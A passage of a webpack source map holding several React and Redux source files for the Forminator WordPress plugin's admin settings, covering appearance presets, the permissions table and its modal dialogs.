jQuery('.popup-confirmation-confirm');\n\t$target.addClass('sui-button-onload');\n\n\tvar presetId = jQuery('select[name=\"appearance_preset\"]').val();\n\n\tvar data = {\n\t\taction: 'forminator_delete_appearance_preset',\n\t\t_wpnonce: forminatorData.presetNonce,\n\t\tpreset_id: presetId,\n\t};\n\n\tjQuery.ajax({\n\t\turl: Forminator.Data.ajaxUrl,\n\t\ttype: \"POST\",\n\t\tdata: data,\n\t\tsuccess: function( result ) {\n\t\t\tif (result && result.success) {\n\t\t\t\tForminator.openPreset( 'default', 'preset_deleted' );\n\t\t\t} else {\n\t\t\t\tForminator.Notification.open( 'error', result.data, 4000 );\n\t\t\t\t$target.removeClass('sui-button-onload');\n\t\t\t}\n\t\t},\n\t\terror: function ( error ) {\n\t\t\tForminator.Notification.open( 'error', error.data, 4000 );\n\t\t\t$target.removeClass('sui-button-onload');\n\t\t}\n\t});\n\n\treturn false;\n}\n\nfunction Appearance(props) {\n\tconst [hasUpdated, setHasUpdated] = React.useState( !! window.forminatorChanges.settings );\n\n\tfunction save() {\n\t\tsaveAppearancePreset( { ...props, setHasUpdated } );\n\t}\n\n\tReact.useEffect(() => {\n\t\tsetHasUpdated( !! window.forminatorChanges.settings );\n\t}, [window.forminatorChanges.settings] );\n\n\tReact.useEffect(() => {\n\t\twindow.addEventListener( 'deletePreset', deletePreset );\n\t\twindow.jQuery( 'select[name=\"appearance_preset\"]' ).off('change').on( 'change', changePreset );\n\t\twindow.jQuery( '.forminator-update-appearance-preset' ).off('click').on( 'click', save );\n\t}, [props] );\n\n\tconst fontStyle = ! _.isUndefined( props.settings[ 'form-style' ] )\n\t\t\t? props.settings[ 'form-style' ]\n\t\t\t: 'default',\n\t\ttitle = jQuery('select[name=\"appearance_preset\"] option:selected').first().text();\n\n\treturn ( <React.Fragment>\n\n\t\t<div className=\"sui-box-header\">\n\t\t\t<h2 className=\"sui-box-title\">{ title }</h2>\n\n\t\t\t{ hasUpdated &&\n\t\t\t\t<span className=\"sui-tag\">\n\t\t\t\t\t{ translate( 'Unsaved Changes' ) }\n\t\t\t\t</span>\n\t\t\t}\n\t\t</div>\n\n\t\t<div className=\"sui-box-body\">\n\t\t\t<DesignStyle { ...props } />\n\n\t\t\t{ fontStyle !== 'none' &&\n\t\t\t\t<React.Fragment key={`${ getThemePrefix(props) }themeKey`}>\n\t\t\t\t\t<Colors { ...props } preset=\"true\" />\n\t\t\t\t\t<Fonts { ...props } preset=\"true\" />\n\t\t\t\t\t<FormContainer { ...props } />\n\t\t\t\t</React.Fragment>\n\t\t\t}\n\n\t\t\t<CustomCss { ...props } />\n\t\t</div>\n\t</React.Fragment> );\n}\n\nconst AppearanceContainer = connect(\n\tmapStateToProps,\n\tmapDispatchToProps\n)( Appearance );\n\nwindow.forminatorChanges = { settings: false };\nwindow.addEventListener( 'beforeunload', handleBeforeunload );\n\nrenderBlock(\n\t'forminator-appearance-preset',\n\t<Provider store={ store }>\n\t\t<AppearanceContainer/>\n\t</Provider>\n);\n\n\n\n// WEBPACK FOOTER //\n// ./src/settings-page/appearance-presets.js","/* jshint esversion: 6 */\nimport React from 'react';\nimport { renderBlock } from '../renderBlock';\nimport { Provider } from 'react-redux';\n// import { MemoryRouter, Route } from 'react-router-dom';\nimport configureStore from './store/configureStore';\nimport i18n from 'i18n-wp-plugin';\n\nimport Main from './containers/main';\n\nconst store = configureStore( forminatorData.mainSettings );\n\ni18n.setLocale( forminatorl10n.locale );\n\nwindow.forminatorChanges = {\n\tpermissions: {},\n};\n\n// We need our own version of jQuery in case user click Preview with WPEditor enabled\n// WPEditor instance breaks window.jQuery object and we should restore on modal close\nwindow.jQueryFormi = jQuery.noConflict();\n\n// Main.\nrenderBlock(\n\t'forminator-permissions',\n\t<Provider store={ store }>\n\t\t<Main/>\n\t</Provider>\n);\n\n\n// WEBPACK FOOTER //\n// ./src/settings-page/permissions.js","import { createStore, compose, applyMiddleware } from 'redux';\nimport thunk from 'redux-thunk';\nimport appReducers from '../reducers/index';\n\nconst newCreateStore = compose( applyMiddleware( thunk ) )( createStore );\n\nexport default function configureStore( initialState ) {\n\treturn newCreateStore( appReducers, initialState );\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/settings-page/store/configureStore.js","import { combineReducers } from 'redux';\n\n// Import reducers\nimport permissions from './permissions';\nimport modal from './modal';\n\nconst appReducers = combineReducers( {\n\t// List reducers\n\tpermissions,\n\tmodal,\n} );\n\nexport default appReducers;\n\n\n\n// WEBPACK FOOTER //\n// ./src/settings-page/reducers/index.js","export default function permissions( state = [], action ) {\n\tswitch ( action.type ) {\n\t\tcase 'UPDATE_PERMISSIONS':\n\t\t\treturn action.permissions;\n\t\tdefault:\n\t\t\treturn state;\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/settings-page/reducers/permissions.js","const initialState = {\n\tmodalType: null,\n\tmodalProps: {},\n};\n\nexport default ( state = initialState, action ) => {\n\tswitch ( action.type ) {\n\t\tcase 'SHOW_MODAL':\n\t\t\treturn {\n\t\t\t\tmodalProps: action.modalProps,\n\t\t\t\tmodalType: action.modalType,\n\t\t\t\ttype: action.type,\n\t\t\t};\n\t\tcase 'HIDE_MODAL':\n\t\t\treturn initialState;\n\t\tdefault:\n\t\t\treturn state;\n\t}\n};\n\n\n\n// WEBPACK FOOTER //\n// ./src/settings-page/reducers/modal.js","import React, { Component } from 'react';\nimport { translate, parseQueryString } from '../../utils';\n\nimport Permissions from './permissions';\nimport Modal from './modal';\n\nexport default class Main extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\t}\n\n\tcomponentDidMount() {\n\t\tthis.goToSectionFromUrl();\n\n\t\twindow.addEventListener( 'beforeunload', this.handleBeforeunload );\n\t}\n\n\tcomponentWillUnmount() {\n\t\twindow.removeEventListener( 'beforeunload', this.handleBeforeunload );\n\t}\n\n\t/*\n\t * If URL has param gotosection, upon page load,\n\t * the page will go to the specified tab on the gotosection param.\n\t * Useful when redirecting from another page that is not part of form editor.\n\t*/\n\tgoToSectionFromUrl() {\n\t\tconst goToSection = parseQueryString().gotosection;\n\n\t\tif ( ! _.isUndefined( goToSection ) ) {\n\t\t\tconst theUrl = window.location.href;\n\n\t\t\tthis.props.history.push( '/' + parseQueryString().gotosection );\n\t\t\twindow.history.replaceState( {}, document.title, theUrl.slice( 0, theUrl.indexOf( '&gotosection' ) ) );\n\t\t}\n\t}\n\n\thandleBeforeunload( e ) {\n\t\tif ( window.forminatorChanges.length > 0 || window.forminatorChanges.settings === true ) {\n\t\t\te.preventDefault();\n\t\t\te.returnValue = translate(\n\t\t\t\t'You have unsaved changes, are you sure want to leave this page'\n\t\t\t);\n\t\t\treturn translate( 'You have unsaved changes, are you sure want to leave this page' );\n\t\t}\n\t}\n\n\trender() {\n\n\t\treturn (\n\t\t\t<React.Fragment>\n\n\t\t\t\t<Permissions { ...this.props } />\n\n\t\t\t\t<Modal { ...this.props } />\n\n\t\t\t</React.Fragment>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/settings-page/containers/main.js","import { Provider, connect } from 'react-redux';\nimport { bindActionCreators } from 'redux';\n\nimport * as modalActions from '../actions/modal';\nimport * as permissionActions from '../actions/permissions';\n\nimport Permissions from '../components/permissions';\n\nfunction mapStateToProps( state ) {\n\treturn {\n\t\tpermissions: state.permissions || {},\n\t\tmodal: state.modal,\n\t};\n}\n\nfunction mapDispatchToProps( dispatch ) {\n\treturn {\n\t\tactions: {\n\t\t\tmodalActions: bindActionCreators( modalActions, dispatch ),\n\t\t\tpermissionActions: bindActionCreators( permissionActions, dispatch ),\n\t\t},\n\t};\n}\n\nexport default connect(\n\tmapStateToProps,\n\tmapDispatchToProps\n)( Permissions );\n\n\n// WEBPACK FOOTER //\n// ./src/settings-page/containers/permissions.js","import React, { Component } from 'react';\nimport { translate } from '../../utils';\n\nimport Header from '../global/header';\nimport Footer from '../global/footer';\nimport PermissionsTable from './permissions/permissions-table';\n\nexport default class Permissions extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\t}\n\n\trender () {\n\t\tconst tooltipWidth = { \"--tooltip-width\": \"220px\" };\n\n\t\treturn (\n\t\t\t<React.Fragment>\n\n\t\t\t\t<Header { ...this.props } title={ translate( 'Permissions' ) } />\n\n\t\t\t\t<PermissionsTable { ...this.props } />\n\n\t\t\t\t<Footer { ...this.props }/>\n\n\t\t\t</React.Fragment>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/settings-page/components/permissions.js","import React, { Component } from 'react';\nimport { translate } from '../../utils';\n\nexport default class Header extends Component {\n\n    render() {\n        const prop = this.props;\n\n        return (\n            <div className=\"sui-box-header\">\n            <h2 className=\"sui-box-title\">{ prop.title }</h2>\n\n            { prop.hasUpdated &&\n                <span className=\"sui-tag\">\n                    { translate( 'Unsaved Changes' ) }\n                </span>\n            }\n            </div>\n        );\n    }\n}\n\n\n// WEBPACK FOOTER //\n// ./src/settings-page/global/header.js","import React, { Component } from 'react';\nimport { translate } from '../../utils';\n\nexport default class Footer extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\n\t\tthis.showModal = this.showModal.bind( this );\n\t\tthis.closeModal = this.closeModal.bind( this );\n\t}\n\n\tshowModal() {\n\t\tthis.props.actions.modalActions.showModal(\n\t\t\t{\n\t\t\t\topen: true,\n\t\t\t\tnew: true,\n\t\t\t\tcloseModal: this.closeModal,\n\t\t\t},\n\t\t\t'permissions'\n\t\t);\n\t}\n\n\tcloseModal() {\n\t\tthis.props.actions.modalActions.showModal(\n\t\t\t{\n\t\t\t\topen: false,\n\t\t\t},\n\t\t\t'permissions'\n\t\t);\n\t}\n\n    render() {\n        const prop = this.props;\n\n        return (\n            <div className=\"sui-box-footer\">\n\t\t\t\t<button\n                    className=\"sui-button sui-button-gray\"\n                    onClick={ this.showModal }\n                >\n\t\t\t\t\t<span className=\"sui-icon-plus sui-\" aria-hidden=\"true\"></span>\n\t\t\t\t\t{ translate( 'Add permissions' ) }\n\t\t\t\t</button>\n\t\t\t</div>\n        );\n    }\n}\n\n\n// WEBPACK FOOTER //\n// ./src/settings-page/global/footer.js","/* jshint esversion: 6 */\nimport React, { Component } from 'react';\nimport { translate } from '../../../utils';\n\nimport Permission from './permission-item';\n\nexport default class PermissionsTable extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\t}\n\n\tapplySticky() {\n\t\tconst node = this.refs.StickyHeader;\n\t\tconst currentOffset = node.getBoundingClientRect().top;\n\t\tconst stickyOffset = parseInt( window.getComputedStyle( node ).top.replace( 'px', '' ) );\n\t\tconst isStuck = currentOffset <= stickyOffset;\n\n\t\tif ( isStuck ) {\n\t\t\tnode.classList.add( 'sui-is-sticky' );\n\t\t} else {\n\t\t\tnode.classList.remove( 'sui-is-sticky' );\n\t\t}\n\t}\n\n\trender() {\n\t\treturn (\n\t\t\t<React.Fragment>\n\t\t\t\t<div className=\"sui-box-body\">\n\t\t\t\t\t<p>{ translate(\n\t\t\t\t\t\t'By default, all administrators have complete access to Forminator. ' +\n\t\t\t\t\t\t'You can provide and manage access to other user roles or to individual user(s) below.'\n\t\t\t\t\t) }</p>\n\t\t\t\t</div>\n\n\t\t\t\t<div className=\"forminator-permissions-table\">\n\t\t\t\t\t<table className=\"sui-table sui-table-flushed\">\n\n\t\t\t\t\t\t<thead>\n\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t<th colSpan={ 4 } >{ translate( 'User Role/User' ) }</th>\n\t\t\t\t\t\t\t\t<th colSpan={ 2 } className=\"fp-item-col\">{ translate( 'Modules' ) }</th>\n\t\t\t\t\t\t\t\t<th colSpan={ 2 } className=\"fp-item-col\">{ translate( 'Submissions' ) }</th>\n\t\t\t\t\t\t\t\t<th colSpan={ 2 } className=\"fp-item-col\">{ translate( 'Add-ons' ) }</th>\n\t\t\t\t\t\t\t\t<th colSpan={ 2 } className=\"fp-item-col\">{ translate( 'Integrations' ) }</th>\n\t\t\t\t\t\t\t\t<th colSpan={ 2 } className=\"fp-item-col\">{ translate( 'Reports' ) }</th>\n\t\t\t\t\t\t\t\t<th colSpan={ 2 } className=\"fp-item-col\">{ translate( 'Settings' ) }</th>\n\t\t\t\t\t\t\t\t<th colSpan={ 1 }></th>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t</thead>\n\n\t\t\t\t\t\t<tbody>\n\t\t\t\t\t\t\t<Permission { ...this.props } isAdmin={ true } />\n\n\t\t\t\t\t\t\t{ _.map( this.props.permissions, ( permission, index ) => (\n\t\t\t\t\t\t\t\t<Permission\n\t\t\t\t\t\t\t\t\tkey={ index }\n\t\t\t\t\t\t\t\t\tactions={ this.props.actions }\n\t\t\t\t\t\t\t\t\tisAdmin={ false }\n\t\t\t\t\t\t\t\t\t{ ...permission }\n\t\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t\t) ) }\n\t\t\t\t\t\t</tbody>\n\n\t\t\t\t\t</table>\n\t\t\t\t</div>\n\t\t\t</React.Fragment>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/settings-page/components/permissions/permissions-table.js","/* jshint esversion: 6 */\nimport React, { Component } from 'react';\nimport { translate } from '../../../utils';\nimport PermissionIcon from './permission-icon';\n\nexport default class PermissionItem extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\n\t\tthis.permissionMenu = React.createRef();\n\t\tthis.showModal = this.showModal.bind( this );\n\t\tthis.deleteModal = this.deleteModal.bind( this );\n\t}\n\n\tcomponentDidMount () {\n\t\tthis.$permission = jQuery( this.permissionMenu.current );\n\n\t\tthis.$permission.on( 'click', function( e ) {\n\t\t\te.preventDefault();\n\t\t\te.stopPropagation();\n\n\t\t\tjQuery( '.fp-permission-actions .permission-menu' )\n\t\t\t\t.not( this )\n\t\t\t\t.parent( '.sui-dropdown.open' )\n\t\t\t\t.removeClass( 'open' );\n\t\t\tjQuery( this ).parent().toggleClass( 'open' );\n\t\t});\n\n\t\tthis.$permission.on( 'mouseout', function( e ) {\n\t\t\tjQuery( this ).trigger( 'blur' );\n\t\t});\n\n\t\t// Remove this when more Forminator menu items are added in the future to enable accordion.\n\t\tlet count = 0;\n\t\tthis.accordionTimeout( count );\n\t}\n\n\tcomponentWillUnmount () {\n\t\tthis.$permission.off();\n\t}\n\n\t/*\n\t * Removes the click event on sui-accordion until SUI has initialized.\n\t * This was added because SUI has no trigger event\n\t * when it has finished initializing that we could have used.\n\t*/\n\taccordionTimeout ( count ) {\n\t\tconst self = this;\n\n\t\tsetTimeout(\n\t\t\tfunction() {\n\t\t\t\tjQuery( '.forminator-permissions-table.sui-accordion' ).off( 'click' );\n\n\t\t\t\tif ( count < 10 ) {\n\t\t\t\t\tself.accordionTimeout( count );\n\t\t\t\t}\n\t\t\t\tcount++;\n\t\t\t},\n\t\t\t200\n\t\t);\n\t}\n\n\tshowModal() {\n\t\tconst modalActions = this.props.actions.modalActions;\n\t\tconst userIds = this.props.specific_user;\n\n\t\tmodalActions.showModal(\n\t\t\t{\n\t\t\t\t...this.props,\n\t\t\t\t...(userIds && { currentUser: this.props.user_info[ userIds[0] ] }),\n\t\t\t\topen: true,\n\t\t\t\tcloseModal: () => {\n\t\t\t\t\tmodalActions.showModal(\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\topen: false,\n\t\t\t\t\t\t},\n\t\t\t\t\t\t'permissions'\n\t\t\t\t\t);\n\t\t\t\t},\n\t\t\t},\n\t\t\t'permissions'\n\t\t);\n\t}\n\n\tdeleteModal() {\n\t\tconst modalActions = this.props.actions.modalActions;\n\n\t\tmodalActions.showModal(\n\t\t\t{\n\t\t\t\t...this.props,\n\t\t\t\topen: true,\n\t\t\t\tcloseModal: () => {\n\t\t\t\t\tmodalActions.showModal(\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\topen: false,\n\t\t\t\t\t\t},\n\t\t\t\t\t\t'permissionDelete'\n\t\t\t\t\t);\n\t\t\t\t},\n\t\t\t},\n\t\t\t'permissionDelete'\n\t\t);\n\t}\n\n\trender() {\n\t\tconst prop = this.props;\n\t\tconst isAdmin = prop.isAdmin;\n\t\tconst tooltipWidth = { \"--tooltip-width\": \"220px\" };\n\t\tconst accessList = [\n\t\t\t'manage_forminator_modules',\n\t\t\t'manage_forminator_submissions',\n\t\t\t'manage_forminator_addons',\n\t\t\t'manage_forminator_integrations',\n\t\t\t'manage_forminator_reports',\n\t\t\t'manage_forminator_settings',\n\t\t];\n\n\t\tlet roleImage = <span className=\"sui-icon-community-people sui-md\" aria-hidden=\"true\"></span>;\n\t\tlet roleName  = translate( 'Administrator' );\n\t\tlet roleDesc  = translate( 'All' );\n\t\tlet itemName  = '';\n\n\t\t// Set the role/user info.\n\t\tif ( ! isAdmin ) {\n\t\t\tif ( 'role' === prop.permission_type ) {\n\t\t\t\tconst countExcluded = prop.exclude_users.length;\n\n\t\t\t\troleName = forminatorData.userRoles[prop.user_role].name;\n\t\t\t\troleDesc += 0 !== countExcluded ?\n\t\t\t\t\ttranslate( ' except ' ) + countExcluded :\n\t\t\t\t\t'';\n\t\t\t} else {\n\t\t\t\tconst users = prop.specific_user;\n\t\t\t\tlet tooltipText = '';\n\t\t\t\troleImage = <img src={ prop.avatar } width=\"30\" height=\"30\" />;\n\n\t\t\t\t// If there are more than 1 chosen.\n\t\t\t\tif ( users.length > 1 ) {\n\t\t\t\t\troleName = prop.user_info[ users[0] ].name;\n\t\t\t\t\troleName += ' +' + ( users.length - 1 ) + ' ';\n\t\t\t\t\troleName += translate( 'more' );\n\n\t\t\t\t\troleDesc = users.length + translate( ' users' );\n\n\t\t\t\t\t// Create tooltip text.\n\t\t\t\t\tlet counter = 0;\n\t\t\t\t\t_.map( prop.user_info, ( info, userId ) => {\n\t\t\t\t\t\tcounter++;\n\t\t\t\t\t\ttooltipText += info.name + ' - ' + '(' + info.email + ')';\n\n\t\t\t\t\t\tif ( counter < users.length ) {\n\t\t\t\t\t\t\ttooltipText += ', \\n';\n\t\t\t\t\t\t}\n\t\t\t\t\t});\n\n\t\t\t\t\titemName = <span\n\t\t\t\t\t\t\t\t\tclassName=\"sui-tooltip sui-tooltip-constrained sui-tooltip-right\"\n\t\t\t\t\t\t\t\t\tstyle={ tooltipWidth }\n\t\t\t\t\t\t\t\t\tdata-tooltip={ tooltipText }\n\t\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t\t<span className=\"fp-item-name\">{ roleName }</span>\n\t\t\t\t\t\t\t\t</span>;\n\t\t\t\t} else {\n\t\t\t\t\tif ( prop.user_info ) {\n\t\t\t\t\t\troleName = prop.user_info[ users[0] ].name;\n\t\t\t\t\t}\n\t\t\t\t\troleDesc = prop.user_info[ users[0] ].email;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Set item name here for no tooltips.\n\t\tif ( '' === itemName ) {\n\t\t\titemName = <span className=\"fp-item-name\">{ roleName }</span>;\n\t\t}\n\n\t\treturn (\n\t\t\t<tr>\n\t\t\t\t<td colSpan={ 4 } className=\" fp-role-head\">\n\t\t\t\t\t<div className=\"fp-role-box\">\n\t\t\t\t\t\t<div className=\"fp-role-img\">\n\t\t\t\t\t\t\t{ roleImage }\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t<div className=\"fp-role-info\">\n\t\t\t\t\t\t\t{ itemName }\n\t\t\t\t\t\t\t<span className=\"fp-item-subtitle\">{ roleDesc }</span>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t</div>\n\t\t\t\t</td>\n\n\t\t\t\t{ _.map( accessList, ( access, x ) => (\n\t\t\t\t\t<PermissionIcon key={ x } { ...prop } access={ access } />\n\t\t\t\t) ) }\n\n\t\t\t\t<td colSpan={ 1 } className=\"fp-permission-actions\">\n\t\t\t\t\t{ ! isAdmin &&\n\t\t\t\t\t\t<div className=\"fui-field--actions\">\n\t\t\t\t\t\t\t<div className=\"sui-dropdown\">\n\t\t\t\t\t\t\t\t<button ref={ this.permissionMenu } className=\"permission-menu sui-button-icon sui-dropdown-anchor\">\n\t\t\t\t\t\t\t\t\t<span className=\"sui-icon-widget-settings-config\" aria-hidden=\"true\"></span>\n\t\t\t\t\t\t\t\t\t<span className=\"sui-screen-reader-text\">{ translate( 'Permission options' ) }</span>\n\t\t\t\t\t\t\t\t</button>\n\t\t\t\t\t\t\t\t<ul>\n\t\t\t\t\t\t\t\t\t<li>\n\t\t\t\t\t\t\t\t\t\t<button\n\t\t\t\t\t\t\t\t\t\t\tclassName=\"forminator-field-edit\"\n\t\t\t\t\t\t\t\t\t\t\tonClick={ this.showModal }\n\t\t\t\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t\t\t\t<span className=\"sui-icon-widget-settings-config\" aria-hidden=\"true\"></span>\n\t\t\t\t\t\t\t\t\t\t\t{ translate( 'Edit' ) }\n\t\t\t\t\t\t\t\t\t\t</button>\n\t\t\t\t\t\t\t\t\t</li>\n\t\t\t\t\t\t\t\t\t<li>\n\t\t\t\t\t\t\t\t\t\t<button\n\t\t\t\t\t\t\t\t\t\t\tclassName=\"forminator-field-remove sui-option-red\"\n\t\t\t\t\t\t\t\t\t\t\tonClick={ this.deleteModal }\n\t\t\t\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t\t\t\t<span className=\"sui-icon-trash\" aria-hidden=\"true\"></span>\n\t\t\t\t\t\t\t\t\t\t\t{ translate( 'Delete' ) }\n\t\t\t\t\t\t\t\t\t\t</button>\n\t\t\t\t\t\t\t\t\t</li>\n\t\t\t\t\t\t\t\t</ul>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t}\n\t\t\t\t</td>\n\t\t\t</tr>\n\t\t);\n\t}\n\n}\n\n\n// WEBPACK FOOTER //\n// ./src/settings-page/components/permissions/permission-item.js","/* jshint esversion: 6 */\nimport React, { Component } from 'react';\nimport { isTrue, translate } from '../../../utils';\n\nexport default class PermissionIcon extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\t}\n\n\trender() {\n\t\tconst prop = this.props;\n\t\tconst isAdmin = prop.isAdmin;\n\t\tconst tooltipWidth = { \"--tooltip-width\": \"220px\" };\n\n\t\tlet icon, tooltipText;\n\t\tif ( isAdmin || isTrue( prop[ prop.access ] ) ) {\n\t\t\ticon = 'sui-icon-check';\n\t\t\ttooltipText = translate( 'Can' );\n\t\t} else {\n\t\t\ticon = 'sui-icon-lock';\n\t\t\ttooltipText = translate( \"Can't\" );\n\t\t}\n\n\t\t// Add space.\n\t\ttooltipText += ' ';\n\n\t\t// Set the tooltip text for each access.\n\t\tswitch ( prop.access ) {\n\t\t\tcase 'manage_forminator_modules':\n\t\t\t\ttooltipText += translate( 'create, edit, and delete modules (Forms, Polls, and Quizzes).' );\n\n\t\t\t\tbreak;\n\t\t\tcase 'manage_forminator_submissions':\n\t\t\t\ttooltipText += translate( 'view and delete submissions.' );\n\n\t\t\t\tbreak;\n\t\t\tcase 'manage_forminator_addons':\n\t\t\t\ttooltipText += translate( 'configure add-ons.' );\n\n\t\t\t\tbreak;\n\t\t\tcase 'manage_forminator_integrations':\n\t\t\t\ttooltipText += translate( 'configure integrations.' );\n\n\t\t\t\tbreak;\n\t\t\tcase 'manage_forminator_reports':\n\t\t\t\ttooltipText += translate( 'configure reports.' );\n\n\t\t\t\tbreak;\n\t\t\tcase 'manage_forminator_settings':\n\t\t\t\tif ( isAdmin ) {\n\t\t\t\t\ttooltipText += translate( 'configure all settings.' );\n\t\t\t\t} else if ( ! isTrue( prop[ prop.access ] ) ) {\n\t\t\t\t\ttooltipText += translate( 'configure settings.' );\n\t\t\t\t} else {\n\t\t\t\t\ttooltipText += translate( 'configure settings except permissions.' );\n\t\t\t\t}\n\n\t\t\t\tbreak;\n\t\t}\n\n\t\treturn (\n\t\t\t<td colSpan={ 2 } className=\"fp-item-col\">\n\t\t\t\t<span\n\t\t\t\t\tclassName=\"sui-tooltip sui-tooltip-constrained\"\n\t\t\t\t\tstyle={ tooltipWidth }\n\t\t\t\t\tdata-tooltip={ tooltipText }\n\t\t\t\t>\n\t\t\t\t\t<span className={ icon + ' sui-sm' } aria-hidden=\"true\"></span>\n\t\t\t\t</span>\n\t\t\t</td>\n\t\t);\n\t}\n\n}\n\n\n// WEBPACK FOOTER //\n// ./src/settings-page/components/permissions/permission-icon.js","import { connect } from 'react-redux';\nimport { bindActionCreators } from 'redux';\n\nimport Modal from '../components/modal';\nimport * as modalActions from '../actions/modal';\nimport * as permissionActions from '../actions/permissions';\n\nfunction mapStateToProps( state ) {\n\treturn {\n\t\tpermissions: state.permissions || {},\n\t\tmodal: state.modal,\n\t};\n}\n\nfunction mapDispatchToProps( dispatch ) {\n\treturn {\n\t\tactions: {\n\t\t\tpermissionActions: bindActionCreators( permissionActions, dispatch ),\n\t\t\tmodalActions: bindActionCreators( modalActions, dispatch ),\n\t\t},\n\t};\n}\n\nexport default connect(\n\tmapStateToProps,\n\tmapDispatchToProps\n)( Modal );\n\n\n\n// WEBPACK FOOTER //\n// ./src/settings-page/containers/modal.js","import React, { Component } from 'react';\nimport ReactDOM from 'react-dom';\n\nimport { default as modalTypes } from './modals/index';\n// import FocusTrap from './modals/partials/focus-trap';\nimport displace from 'react-displace';\n\nconst MODAL_TYPES = {\n\tpermissions: modalTypes.permissionsModal,\n\tpermissionDelete: modalTypes.permissionDeleteModal,\n};\n\n/* global setTimeout,clearTimeout */\nclass Modal extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\t}\n\n\tcomponentDidUpdate( prevProps ) {\n\t\tthis.$el = jQuery( this.el );\n\t\tconst self = this;\n\n\t\tif ( ! _.isEmpty( prevProps.modal ) /* && ! _.isNull( this.props.modal.modalType ) */ ) {\n\t\t\tif ( prevProps.modal.modalProps.open !== this.props.modal.modalProps.open ) {\n\t\t\t\tconst modalElement = ReactDOM.findDOMNode( this );\n\n\t\t\t\tif ( this.props.modal.modalProps.open ) {\n\t\t\t\t\tthis.focusAfterClosed = this.props.modal.modalProps.activeElement;\n\n\t\t\t\t\tconst focusFirst = this.props.modal.modalProps.focusFirst;\n\n\t\t\t\t\tsetTimeout( function() {\n\t\t\t\t\t\tif ( 'string' === typeof focusFirst ) {\n\t\t\t\t\t\t\tself.focusFirst = self.$el.find( focusFirst );\n\t\t\t\t\t\t} else if ( 'object' === typeof focusFirst ) {\n\t\t\t\t\t\t\tself.focusFirst = focusFirst;\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tself.focusFirst = null;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif ( self.focusFirst && self.focusFirst.length ) {\n\t\t\t\t\t\t\tself.setFocus( self.focusFirst.first() );\n\t\t\t\t\t\t}\n\t\t\t\t\t}, 320 );\n\n\t\t\t\t\tjQuery( '#wpwrap' ).attr( 'aria-hidden', 'true' );\n\t\t\t\t}\n\n\t\t\t\tif ( ! this.props.modal.modalProps.open ) {\n\t\t\t\t\tjQuery( '#wpwrap' ).attr( 'aria-hidden', 'false' );\n\n\t\t\t\t\tsetTimeout( function() {\n\t\t\t\t\t\tself.setFocus( self.focusAfterClosed );\n\t\t\t\t\t}, 320 );\n\n\t\t\t\t\tthis.hideModalTimeout = setTimeout( () => {\n\t\t\t\t\t\tmodalElement.setAttribute( 'aria-hidden', 'true' );\n\t\t\t\t\t\t// cleanup\n\t\t\t\t\t\tthis.props.modal.modalType = null;\n\t\t\t\t\t\tthis.forceUpdate();\n\t\t\t\t\t}, 300 );\n\t\t\t\t} else {\n\t\t\t\t\tmodalElement.removeAttribute( 'aria-hidden' );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tsetFocus( element ) {\n\t\tconst focusInterval = 10; // ms, time between function calls\n\t\tconst focusTotalRepetitions = 10; // number of repetitions\n\n\t\tif ( typeof element === 'undefined' ) {\n\t\t\treturn;\n\t\t}\n\n\t\telement.attr( 'tabindex', '0' );\n\t\telement.blur();\n\n\t\tlet focusRepetitions = 0;\n\t\tconst interval = window.setInterval( function() {\n\t\t\telement.focus();\n\t\t\tfocusRepetitions++;\n\n\t\t\tif ( focusRepetitions >= focusTotalRepetitions ) {\n\t\t\t\twindow.clearInterval( interval );\n\t\t\t}\n\t\t}, focusInterval );\n\t}\n\n\tcomponentWillUnmount() {\n\t\tclearTimeout( this.hideModalTimeout );\n\t}\n\n\trender() {\n\t\tif (\n\t\t\t_.isUndefined( this.props.modal ) ||\n\t\t\t_.isUndefined( this.props.modal.modalProps ) ||\n\t\t\t_.isNull( this.props.modal.modalType )\n\t\t) {\n\t\t\treturn null;\n\t\t}\n\n\t\tlet modalClass = 'sui-modal-lg';\n\t\tlet overlayClass = [ 'sui-modal-content', 'sui-content-fade-in' ];\n\t\tif ( ! this.props.modal.modalProps.open ) {\n\t\t\toverlayClass = [ 'sui-modal-content', 'sui-content-fade-out' ];\n\t\t}\n\n\t\tconst modalType \t = this.props.modal.modalType;\n\t\tconst SpecifiedModal = MODAL_TYPES[ modalType ];\n\n\t\tif ( 'publish' === modalType ) {\n\t\t\tmodalClass = 'sui-modal-sm fui-dialog-publish';\n\t\t}\n\n\t\tif ( 'shortcode' === modalType ) {\n\t\t\tmodalClass = 'sui-modal-sm fui-dialog-publish';\n\t\t}\n\n\t\tconst smModalType = ['permissionDelete'];\n\t\tif ( smModalType.includes( modalType ) ) {\n\t\t\tmodalClass = 'sui-modal-sm';\n\t\t}\n\n\t\tif (\n\t\t\t! _.isUndefined( this.props.modal.modalProps ) &&\n\t\t\t! _.isUndefined( this.props.modal.modalProps.field ) &&\n\t\t\t! _.isUndefined( this.props.modal.modalProps.field.type )\n\t\t) {\n\t\t\tconst fieldType = 